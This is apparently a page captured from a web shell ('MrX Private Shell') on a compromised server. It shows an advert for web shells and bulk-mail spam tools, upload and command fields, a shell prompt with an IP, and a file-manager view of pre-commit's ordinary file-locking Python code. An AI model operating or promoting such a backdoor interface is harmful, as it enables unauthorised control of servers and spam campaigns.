__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.243: ~ $
from __future__ import annotations

import contextlib
import errno
import sys
from collections.abc import Callable
from collections.abc import Generator


if sys.platform == 'win32':  # pragma: no cover (windows)
    import msvcrt

    # https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/locking

    # on windows we lock "regions" of files, we don't care about the actual
    # byte region so we'll just pick *some* number here.
    _region = 0xffff

    @contextlib.contextmanager
    def _locked(
            fileno: int,
            blocked_cb: Callable[[], None],
    ) -> Generator[None]:
        try:
            msvcrt.locking(fileno, msvcrt.LK_NBLCK, _region)
        except OSError:
            blocked_cb()
            while True:
                try:
                    msvcrt.locking(fileno, msvcrt.LK_LOCK, _region)
                except OSError as e:
                    # Locking violation. Returned when the _LK_LOCK or _LK_RLCK
                    # flag is specified and the file cannot be locked after 10
                    # attempts.
                    if e.errno != errno.EDEADLOCK:
                        raise
                else:
                    break

        try:
            yield
        finally:
            # From cursory testing, it seems to get unlocked when the file is
            # closed so this may not be necessary.
            # The documentation however states:
            # "Regions should be locked only briefly and should be unlocked
            # before closing a file or exiting the program."
            msvcrt.locking(fileno, msvcrt.LK_UNLCK, _region)
else:  # pragma: win32 no cover
    import fcntl

    @contextlib.contextmanager
    def _locked(
            fileno: int,
            blocked_cb: Callable[[], None],
    ) -> Generator[None]:
        try:
            fcntl.flock(fileno, fcntl.LOCK_EX | fcntl.LOCK_NB)
        except OSError:  # pragma: no cover (tests are single-threaded)
            blocked_cb()
            fcntl.flock(fileno, fcntl.LOCK_EX)
        try:
            yield
        finally:
            fcntl.flock(fileno, fcntl.LOCK_UN)


@contextlib.contextmanager
def lock(
        path: str,
        blocked_cb: Callable[[], None],
) -> Generator[None]:
    with open(path, 'a+') as f:
        with _locked(f.fileno(), blocked_cb):
            yield

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
commands Folder 0755
languages Folder 0755
meta_hooks Folder 0755
resources Folder 0755
__init__.py File 0 B 0644
__main__.py File 127 B 0644
all_languages.py File 1.43 KB 0644
clientlib.py File 16.42 KB 0644
color.py File 3.14 KB 0644
constants.py File 282 B 0644
envcontext.py File 1.56 KB 0644
error_handler.py File 2.56 KB 0644
errors.py File 78 B 0644
file_lock.py File 2.3 KB 0644
git.py File 8.33 KB 0644
hook.py File 1.48 KB 0644
lang_base.py File 5.26 KB 0644
logging_handler.py File 1019 B 0644
main.py File 15.56 KB 0644
output.py File 911 B 0644
parse_shebang.py File 2.42 KB 0644
prefix.py File 495 B 0644
repository.py File 7.43 KB 0644
staged_files_only.py File 4.06 KB 0644
store.py File 8.27 KB 0644
util.py File 6.88 KB 0644
xargs.py File 5.42 KB 0644
yaml.py File 561 B 0644
yaml_rewrite.py File 1.31 KB 0644